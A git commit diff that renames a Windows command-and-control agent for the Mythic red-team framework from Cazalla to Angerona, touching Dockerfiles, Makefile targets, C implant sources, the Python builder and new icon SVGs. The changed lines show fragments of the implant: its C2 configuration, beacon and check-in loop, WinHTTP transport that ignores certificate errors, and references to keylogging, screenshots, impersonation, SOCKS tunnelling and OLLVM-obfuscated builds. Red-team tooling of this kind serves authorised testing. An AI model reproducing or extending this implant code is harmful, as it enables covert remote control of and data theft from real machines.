Rename project from Cazalla to Angerona

Complete rebrand: renamed all files, folders, code references, documentation, Docker paths, env vars, Makefile targets, Python classes, C structs/functions, and git remote URL. Replaced agent icons with new Angerona branding (light + dark mode SVGs). Fixed builder.py to reference SVG instead of PNG for Mythic icon path.
This commit is contained in:
2026-03-25 15:32:50 +01:00
parent 120de6778d
commit 6e82a8253c
166 changed files with 434 additions and 902 deletions
@@ -43,10 +43,10 @@ ENV MYTHIC_SERVER_PASSWORD="mythic_password"
WORKDIR /Mythic/ WORKDIR /Mythic/
# Copiar estructura completa del proyecto # Copiar estructura completa del proyecto
COPY ./ /Mythic/cazalla/ COPY ./ /Mythic/angerona/
# Asegurar que los permisos sean correctos para Python # Asegurar que los permisos sean correctos para Python
RUN chmod -R a+rX /Mythic/cazalla/ RUN chmod -R a+rX /Mythic/angerona/
# --- Comando por defecto --- # --- Comando por defecto ---
CMD ["python3", "main.py"] CMD ["python3", "main.py"]
@@ -65,5 +65,5 @@ docker-compose.yml
mythic-cli mythic-cli
# Agent code build directories (will be built inside container) # Agent code build directories (will be built inside container)
cazalla/agent_code/cazalla/build/ angerona/agent_code/angerona/build/
@@ -47,7 +47,7 @@ ENV SYSLOG_FACILITY="16"
# --- Copia tu código de translator --- # --- Copia tu código de translator ---
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true # This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
WORKDIR /Mythic/ WORKDIR /Mythic/
COPY ./ /Mythic/cazalla/ COPY ./ /Mythic/angerona/
# --- Comando por defecto --- # --- Comando por defecto ---
CMD ["python3", "main.py"] CMD ["python3", "main.py"]
@@ -65,23 +65,23 @@ $(shell mkdir -p $(BUILD_DIR))
all: exe dll all: exe dll
debug: debug_exe debug_dll debug: debug_exe debug_dll
exe: $(BUILD_DIR)/cazalla.exe exe: $(BUILD_DIR)/angerona.exe
dll: $(BUILD_DIR)/cazalla.dll dll: $(BUILD_DIR)/angerona.dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe debug_exe: $(BUILD_DIR)/angerona-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll debug_dll: $(BUILD_DIR)/angerona-debug.dll
# Executable Target # Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) $(BUILD_DIR)/angerona.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS) $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) $(BUILD_DIR)/angerona-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS) $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS)
# DLL Target # DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) $(BUILD_DIR)/angerona.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) $(BUILD_DIR)/angerona-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS) $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS)
# Clean up # Clean up
@@ -1,7 +1,7 @@
#include "SistemadeFicheros.h" #include "SistemadeFicheros.h"
#include "paquete.h" #include "paquete.h"
#include "transporte.h" #include "transporte.h"
#include "cazalla.h" // For context tracking functions #include "angerona.h" // For context tracking functions
/* Forward decl to avoid implicit declaration on some toolchains */ /* Forward decl to avoid implicit declaration on some toolchains */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...); BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
@@ -1,9 +1,9 @@
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration #include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "cazalla.h" #include "angerona.h"
#include "Config.h" #include "Config.h"
#include "socks_manager.h" #include "socks_manager.h"
CONFIG_CAZALLA* cazallaConfig = NULL; CONFIG_ANGERONA* angeronaConfig = NULL;
/* Context tracking: Current working directory and impersonation context */ /* Context tracking: Current working directory and impersonation context */
static char gCurrentDirectory[MAX_PATH] = ""; static char gCurrentDirectory[MAX_PATH] = "";
@@ -48,26 +48,26 @@ VOID clearImpersonationContext(void) {
gImpersonationContext[0] = '\0'; gImpersonationContext[0] = '\0';
} }
VOID cazallaMain() { VOID angeronaMain() {
_inf("Inicializando configuración de Cazalla"); _inf("Inicializando configuración de Angerona");
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); angeronaConfig = (CONFIG_ANGERONA*)LocalAlloc(LPTR, sizeof(CONFIG_ANGERONA));
if (!cazallaConfig) { if (!angeronaConfig) {
_err("Error: fallo en LocalAlloc para cazallaConfig"); _err("Error: fallo en LocalAlloc para angeronaConfig");
return; return;
} }
cazallaConfig->idAgente = (PCHAR)initUUID; angeronaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname; angeronaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port; angeronaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint; angeronaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent; angeronaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod; angeronaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl; angeronaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado= proxyenabled; angeronaConfig->proxyHabilitado= proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl; angeronaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000; angeronaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
cazallaConfig->encryptionEnabled = ENCRYPTION_ENABLED; angeronaConfig->encryptionEnabled = ENCRYPTION_ENABLED;
// Debug: print the raw values // Debug: print the raw values
_dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED); _dbg("ENCRYPTION_ENABLED = %d", ENCRYPTION_ENABLED);
@@ -75,26 +75,26 @@ VOID cazallaMain() {
_dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY)); _dbg("AESPSK_KEY length = %zu", strlen(AESPSK_KEY));
// Initialize AESPSK encryption if enabled // Initialize AESPSK encryption if enabled
if (cazallaConfig->encryptionEnabled) { if (angeronaConfig->encryptionEnabled) {
_inf("Inicializando cifrado AES256-HMAC..."); _inf("Inicializando cifrado AES256-HMAC...");
if (crypto_init_aespsk(AESPSK_KEY)) { if (crypto_init_aespsk(AESPSK_KEY)) {
_inf("Cifrado habilitado"); _inf("Cifrado habilitado");
} else { } else {
_err("Falló la inicialización del cifrado"); _err("Falló la inicialización del cifrado");
cazallaConfig->encryptionEnabled = FALSE; angeronaConfig->encryptionEnabled = FALSE;
} }
} else { } else {
_inf("Cifrado deshabilitado"); _inf("Cifrado deshabilitado");
} }
_dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u", _dbg("Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u",
cazallaConfig->idAgente, angeronaConfig->idAgente,
cazallaConfig->hostName, angeronaConfig->hostName,
cazallaConfig->puertoHttp, angeronaConfig->puertoHttp,
(int)cazallaConfig->SSL, (int)angeronaConfig->SSL,
(int)cazallaConfig->proxyHabilitado, (int)angeronaConfig->proxyHabilitado,
cazallaConfig->endPoint, angeronaConfig->endPoint,
cazallaConfig->userAgent, angeronaConfig->userAgent,
cazallaConfig->tiempoSleep); angeronaConfig->tiempoSleep);
_inf("Iniciando primer checkin..."); _inf("Iniciando primer checkin...");
PAnalizador respuestaAnalizador = checkin(); PAnalizador respuestaAnalizador = checkin();
@@ -106,7 +106,7 @@ VOID cazallaMain() {
parseChecking(respuestaAnalizador); parseChecking(respuestaAnalizador);
_inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", cazallaConfig->tiempoSleep); _inf("Entrando en bucle principal (rutina). Sleep inicial: %u ms", angeronaConfig->tiempoSleep);
while (TRUE) { while (TRUE) {
rutina(); rutina();
@@ -116,13 +116,13 @@ VOID cazallaMain() {
_dbg("SOCKS activo -> checkin rápido (100 ms)"); _dbg("SOCKS activo -> checkin rápido (100 ms)");
Sleep(100); Sleep(100);
} else { } else {
_dbg("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep); _dbg("SOCKS inactivo -> durmiendo %u ms", angeronaConfig->tiempoSleep);
Sleep(cazallaConfig->tiempoSleep); Sleep(angeronaConfig->tiempoSleep);
} }
} }
} }
VOID setUUID(PCHAR newUUID) { VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID; angeronaConfig->idAgente = newUUID;
_dbg("UUID actualizado: %s", newUUID); _dbg("UUID actualizado: %s", newUUID);
} }
@@ -1,6 +1,6 @@
#pragma once #pragma once
#ifndef CAZALLA_H #ifndef ANGERONA_H
#define CAZALLA_H #define ANGERONA_H
#include <windows.h> #include <windows.h>
#include "paquete.h" #include "paquete.h"
@@ -25,9 +25,9 @@ typedef struct {
UINT32 tiempoSleep; UINT32 tiempoSleep;
BOOL encryptionEnabled; BOOL encryptionEnabled;
} CONFIG_CAZALLA, *PCONFIG_CAZALLA; } CONFIG_ANGERONA, *PCONFIG_ANGERONA;
extern PCONFIG_CAZALLA cazallaConfig; extern PCONFIG_ANGERONA angeronaConfig;
/* Context tracking functions */ /* Context tracking functions */
PCHAR getCurrentDirectoryContext(void); PCHAR getCurrentDirectoryContext(void);
@@ -37,6 +37,6 @@ VOID setImpersonationContext(PCHAR context);
VOID clearImpersonationContext(void); VOID clearImpersonationContext(void);
VOID setUUID(PCHAR newUUID); VOID setUUID(PCHAR newUUID);
VOID cazallaMain(void); VOID angeronaMain(void);
#endif #endif
@@ -1,5 +1,5 @@
#include "checkin.h" #include "checkin.h"
#include "cazalla.h" #include "angerona.h"
#include "socks_manager.h" #include "socks_manager.h"
#include "paquete.h" // For addCallbackContext #include "paquete.h" // For addCallbackContext
#include "identity.h" // For IdentityGetUserInfo #include "identity.h" // For IdentityGetUserInfo
@@ -132,7 +132,7 @@ PAnalizador checkin() {
return NULL; return NULL;
} }
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); addString(checkin, (PCHAR)angeronaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs); addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) { for (UINT32 i = 0; i < numeroDeIPs; i++) {
@@ -1,4 +1,4 @@
#include "cazalla.h" #include "angerona.h"
#include "comandos.h" #include "comandos.h"
#include "socks_manager.h" #include "socks_manager.h"
#include "rpfwd_manager.h" #include "rpfwd_manager.h"
@@ -364,7 +364,7 @@ BOOL parseChecking(PAnalizador respuestaAnalizador) {
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid); _dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
// === Nota: Cifrado AESPSK ya inicializado en cazallaMain() === // === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime // La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
@@ -1,4 +1,4 @@
#include "cazalla.h" #include "angerona.h"
#include "inline_execute.h" #include "inline_execute.h"
#include "comandos.h" #include "comandos.h"
#include "paquete.h" #include "paquete.h"
@@ -174,7 +174,7 @@ BOOL BeaconIsAdmin(void) {
/* /*
* GetFileBytesFromMythic - Fetch a file from Mythic server using file_id * GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
* Adapted from Cazalla's upload mechanism * Adapted from Angerona's upload mechanism
*/ */
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) { DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000 // 512 KB #define CHUNK_SIZE 512000 // 512 KB
@@ -1,6 +1,6 @@
#include "keylog.h" #include "keylog.h"
#include "paquete.h" #include "paquete.h"
#include "cazalla.h" #include "angerona.h"
static volatile BOOL g_keylog_running = FALSE; static volatile BOOL g_keylog_running = FALSE;
static HANDLE g_keylog_thread = NULL; static HANDLE g_keylog_thread = NULL;
@@ -1,13 +1,13 @@
#include "cazalla.h" #include "angerona.h"
int main() { int main() {
_inf("=== CAZALLA AGENT STARTING ==="); _inf("=== ANGERONA AGENT STARTING ===");
#ifdef AESPSK #ifdef AESPSK
_inf("AESPSK: %s", AESPSK); _inf("AESPSK: %s", AESPSK);
#endif #endif
Sleep(2000); // Pausa 2 segundos para ver si inicia Sleep(2000); // Pausa 2 segundos para ver si inicia
cazallaMain(); angeronaMain();
_inf("=== CAZALLA AGENT EXITING ==="); _inf("=== ANGERONA AGENT EXITING ===");
_inf("Press any key to exit..."); _inf("Press any key to exit...");
getchar(); getchar();
return 0; return 0;
@@ -1,5 +1,5 @@
#include "crypto.h" // Include crypto.h BEFORE cazalla.h to avoid redeclaration #include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "cazalla.h" #include "angerona.h"
#include "paquete.h" #include "paquete.h"
#include "socks_manager.h" #include "socks_manager.h"
#include "rpfwd_manager.h" #include "rpfwd_manager.h"
@@ -19,7 +19,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
paquete->length = 0; paquete->length = 0;
if (init) { if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE); addString(paquete, angeronaConfig->idAgente, FALSE);
addByte(paquete, idComando); addByte(paquete, idComando);
} }
@@ -304,10 +304,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
char uuidCheck[37] = {0}; char uuidCheck[37] = {0};
memcpy(uuidCheck, datosDecodificados, 36); memcpy(uuidCheck, datosDecodificados, 36);
_dbg("First 36 bytes (UUID check): %s", uuidCheck); _dbg("First 36 bytes (UUID check): %s", uuidCheck);
_dbg("Expected UUID: %s", cazallaConfig->idAgente); _dbg("Expected UUID: %s", angeronaConfig->idAgente);
// If response starts with UUID, we need to extract it // If response starts with UUID, we need to extract it
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) { if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
_dbg("Response format: UUID + encrypted_data detected"); _dbg("Response format: UUID + encrypted_data detected");
_dbg("Extracting encrypted data (after UUID)..."); _dbg("Extracting encrypted data (after UUID)...");
@@ -1,5 +1,5 @@
#include "screenshot.h" #include "screenshot.h"
#include "cazalla.h" #include "angerona.h"
#include "paquete.h" #include "paquete.h"
#include "SistemadeFicheros.h" #include "SistemadeFicheros.h"
#include <windows.h> #include <windows.h>
@@ -1,5 +1,5 @@
#include "sleep.h" #include "sleep.h"
#include "cazalla.h" #include "angerona.h"
#include "socks_manager.h" #include "socks_manager.h"
@@ -25,12 +25,12 @@ BOOL sleep(PAnalizador argumentos) {
tiempoSleep = minVarianza; tiempoSleep = minVarianza;
} }
if (cazallaConfig == NULL) { if (angeronaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n"); _err("Error: angeronaConfig no ha sido inicializado.\n");
return FALSE; return FALSE;
} }
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); _dbg("Tiempo Sleep antes: %d\n", angeronaConfig->tiempoSleep);
/* convertir a milisegundos */ /* convertir a milisegundos */
tiempoSleep = tiempoSleep * 1000; tiempoSleep = tiempoSleep * 1000;
@@ -41,7 +41,7 @@ BOOL sleep(PAnalizador argumentos) {
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
} }
cazallaConfig->tiempoSleep = tiempoSleep; angeronaConfig->tiempoSleep = tiempoSleep;
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep); _dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
@@ -5,7 +5,7 @@
#include "analizador.h" #include "analizador.h"
#include "identity.h" #include "identity.h"
#include "debug.h" #include "debug.h"
#include "cazalla.h" // For context tracking functions #include "angerona.h" // For context tracking functions
#include <tlhelp32.h> #include <tlhelp32.h>
#include <psapi.h> #include <psapi.h>
@@ -50,25 +50,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy; httpProxy = angeronaConfig->urlProxy;
} }
if (cazallaConfig->SSL) { if (angeronaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE; httpFlags |= WINHTTP_FLAG_SECURE;
} }
_dbg("WinHttpOpen()"); _dbg("WinHttpOpen()");
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) { if (!hSesion) {
_err("WinHttpOpen falló (%lu)", GetLastError()); _err("WinHttpOpen falló (%lu)", GetLastError());
return NULL; return NULL;
} }
_dbg("WinHttpOpen OK"); _dbg("WinHttpOpen OK");
_dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp); _dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
if (!hConexion) { if (!hConexion) {
_err("WinHttpConnect falló (%lu)", GetLastError()); _err("WinHttpConnect falló (%lu)", GetLastError());
WinHttpCloseHandle(hSesion); WinHttpCloseHandle(hSesion);
@@ -78,22 +78,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
// Log complete URL - ensure endpoint starts with / // Log complete URL - ensure endpoint starts with /
wchar_t endpointBuf[256]; wchar_t endpointBuf[256];
if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') { if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint); swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
} else { } else {
wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256); wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
} }
swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls", swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls",
cazallaConfig->SSL ? L"https" : L"http", angeronaConfig->SSL ? L"https" : L"http",
cazallaConfig->hostName, angeronaConfig->hostName,
cazallaConfig->puertoHttp, angeronaConfig->puertoHttp,
endpointBuf); endpointBuf);
_dbg("Complete URL: %ls", urlBuffer); _dbg("Complete URL: %ls", urlBuffer);
_dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x", _dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x",
endpointBuf, cazallaConfig->metodoHttp, httpFlags); endpointBuf, angeronaConfig->metodoHttp, httpFlags);
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags); hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
if (!hPeticion) { if (!hPeticion) {
_err("WinHttpOpenRequest falló (%lu)", GetLastError()); _err("WinHttpOpenRequest falló (%lu)", GetLastError());
WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hConexion);
@@ -102,7 +102,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
} }
_dbg("WinHttpOpenRequest OK"); _dbg("WinHttpOpenRequest OK");
if (cazallaConfig->SSL) { if (angeronaConfig->SSL) {
_dbg("Configurando opciones SSL"); _dbg("Configurando opciones SSL");
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
@@ -4,7 +4,7 @@
#include <windows.h> #include <windows.h>
#include <winhttp.h> #include <winhttp.h>
#include "cazalla.h" #include "angerona.h"
#include "analizador.h" #include "analizador.h"
#include "socks_manager.h" // <— añadido #include "socks_manager.h" // <— añadido
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="100" r="85" fill="none" stroke="#111" stroke-width="4"/>
<!-- Laurel left -->
<path d="M60 130 Q50 100 70 70" fill="none" stroke="#111" stroke-width="3"/>
<path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#111" stroke-width="3"/>
<!-- Laurel right -->
<path d="M140 130 Q150 100 130 70" fill="none" stroke="#111" stroke-width="3"/>
<path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#111" stroke-width="3"/>
<!-- Central seal (silence mark) -->
<circle cx="100" cy="100" r="18" fill="none" stroke="#111" stroke-width="3"/>
<line x1="85" y1="100" x2="115" y2="100" stroke="#111" stroke-width="3"/>
</svg>

After

Width:  |  Height:  |  Size: 806 B

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg width="200" height="200" viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="100" r="85" fill="none" stroke="#eee" stroke-width="4"/>
<!-- Laurel left -->
<path d="M60 130 Q50 100 70 70" fill="none" stroke="#eee" stroke-width="3"/>
<path d="M65 120 L55 110 M68 105 L58 95 M72 90 L62 80" stroke="#eee" stroke-width="3"/>
<!-- Laurel right -->
<path d="M140 130 Q150 100 130 70" fill="none" stroke="#eee" stroke-width="3"/>
<path d="M135 120 L145 110 M132 105 L142 95 M128 90 L138 80" stroke="#eee" stroke-width="3"/>
<!-- Central seal (silence mark) -->
<circle cx="100" cy="100" r="18" fill="none" stroke="#eee" stroke-width="3"/>
<line x1="85" y1="100" x2="115" y2="100" stroke="#eee" stroke-width="3"/>
</svg>

After

Width:  |  Height:  |  Size: 806 B

@@ -15,8 +15,8 @@ def generate_random_string(length=100):
chars = string.ascii_letters + string.digits # a-zA-Z0-9 chars = string.ascii_letters + string.digits # a-zA-Z0-9
return ''.join(random.choices(chars, k=length)) return ''.join(random.choices(chars, k=length))
class CazallaAgent(PayloadType): class AngeronaAgent(PayloadType):
name = "Cazalla" name = "Angerona"
file_extension = "exe" file_extension = "exe"
author = "OFSTeam" author = "OFSTeam"
supported_os = [SupportedOS.Windows] supported_os = [SupportedOS.Windows]
@@ -26,7 +26,7 @@ class CazallaAgent(PayloadType):
supports_dynamic_loading = True supports_dynamic_loading = True
c2_profiles = ["http"] c2_profiles = ["http"]
mythic_encrypts = True mythic_encrypts = True
translation_container = "cazalla_translator" translation_container = "angerona_translator"
build_parameters = [ build_parameters = [
BuildParameter( BuildParameter(
name="output", name="output",
@@ -57,8 +57,8 @@ class CazallaAgent(PayloadType):
default_value="0" default_value="0"
) )
] ]
agent_path = pathlib.Path(".") / "cazalla" agent_path = pathlib.Path(".") / "angerona"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png" agent_icon_path = agent_path / "agent_functions" / "angerona.svg"
agent_code_path = agent_path / "agent_code" agent_code_path = agent_path / "agent_code"
build_steps = [ build_steps = [
@@ -261,7 +261,7 @@ class CazallaAgent(PayloadType):
debug_output = self.get_parameter("debug_output") debug_output = self.get_parameter("debug_output")
ollvm_compilation = int(self.get_parameter("ollvm_compilation")) ollvm_compilation = int(self.get_parameter("ollvm_compilation"))
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" config_path = f"{agent_build_path.name}/agent_code/angerona/Config.h"
# Replace placeholders in Config.h # Replace placeholders in Config.h
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===") debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
@@ -321,11 +321,11 @@ class CazallaAgent(PayloadType):
# Determine build target and filename based on output format and debug settings # Determine build target and filename based on output format and debug settings
if debug_level == "none": if debug_level == "none":
make_target = output_format make_target = output_format
output_filename = f"cazalla.{output_format}" output_filename = f"angerona.{output_format}"
make_flags = "" make_flags = ""
else: else:
make_target = f"debug_{output_format}" make_target = f"debug_{output_format}"
output_filename = f"cazalla-debug.{output_format}" output_filename = f"angerona-debug.{output_format}"
# Pass debug level and output type to Makefile # Pass debug level and output type to Makefile
# The Makefile will convert string values to numbers # The Makefile will convert string values to numbers
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}" make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
@@ -334,8 +334,8 @@ class CazallaAgent(PayloadType):
if command_flags_str: if command_flags_str:
make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'" make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'"
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}" command = f"make -C {agent_build_path.name}/agent_code/angerona {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}" filename = f"{agent_build_path.name}/agent_code/angerona/build/{output_filename}"
proc = await asyncio.create_subprocess_shell( proc = await asyncio.create_subprocess_shell(
command, command,
@@ -367,7 +367,7 @@ class CazallaAgent(PayloadType):
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Compiling", StepName="Compiling",
StepStdout=f"Successfully compiled cazalla{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}", StepStdout=f"Successfully compiled angerona{debug_info}\nCommand: {command}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}\nMD5: {md5_hash}\nSHA256: {sha256_hash}",
StepSuccess=True StepSuccess=True
)) ))
@@ -411,8 +411,8 @@ class CazallaAgent(PayloadType):
{obfuscation_parameters} \ {obfuscation_parameters} \
-L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \ -L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \
--sysroot=/usr/x86_64-w64-mingw32 \ --sysroot=/usr/x86_64-w64-mingw32 \
/tmp/cazalla/*.c \ /tmp/angerona/*.c \
-o /tmp/cazalla/cazalla.exe \ -o /tmp/angerona/angerona.exe \
-lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \ -lntdll -lgdi32 -lws2_32 -lcrypt32 -liphlpapi -lshlwapi -lole32 -luser32 -ladvapi32 \
-lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp " -lncrypt -lbcrypt -lversion -lnetapi32 -lwinhttp "
@@ -420,7 +420,7 @@ class CazallaAgent(PayloadType):
create_container_command = [ create_container_command = [
"docker", "run", "docker", "run",
"--name", f"{container_name}", "--name", f"{container_name}",
"--volume", f"{docker_volume_folder}:/tmp/cazalla/", "--volume", f"{docker_volume_folder}:/tmp/angerona/",
"ollvm16-builder:latest", "ollvm16-builder:latest",
"sh", "-c" ,compilation_command "sh", "-c" ,compilation_command
] ]
@@ -434,7 +434,7 @@ class CazallaAgent(PayloadType):
try: try:
# Move agent_build_path.name to docker_volume_folder # Move agent_build_path.name to docker_volume_folder
copy_tree(f"{agent_build_path.name}/agent_code/cazalla", docker_volume_folder) copy_tree(f"{agent_build_path.name}/agent_code/angerona", docker_volume_folder)
# Create Docker Container # Create Docker Container
result = subprocess.run(create_container_command, capture_output=True, text=True, check=True) result = subprocess.run(create_container_command, capture_output=True, text=True, check=True)
@@ -451,13 +451,13 @@ class CazallaAgent(PayloadType):
return resp return resp
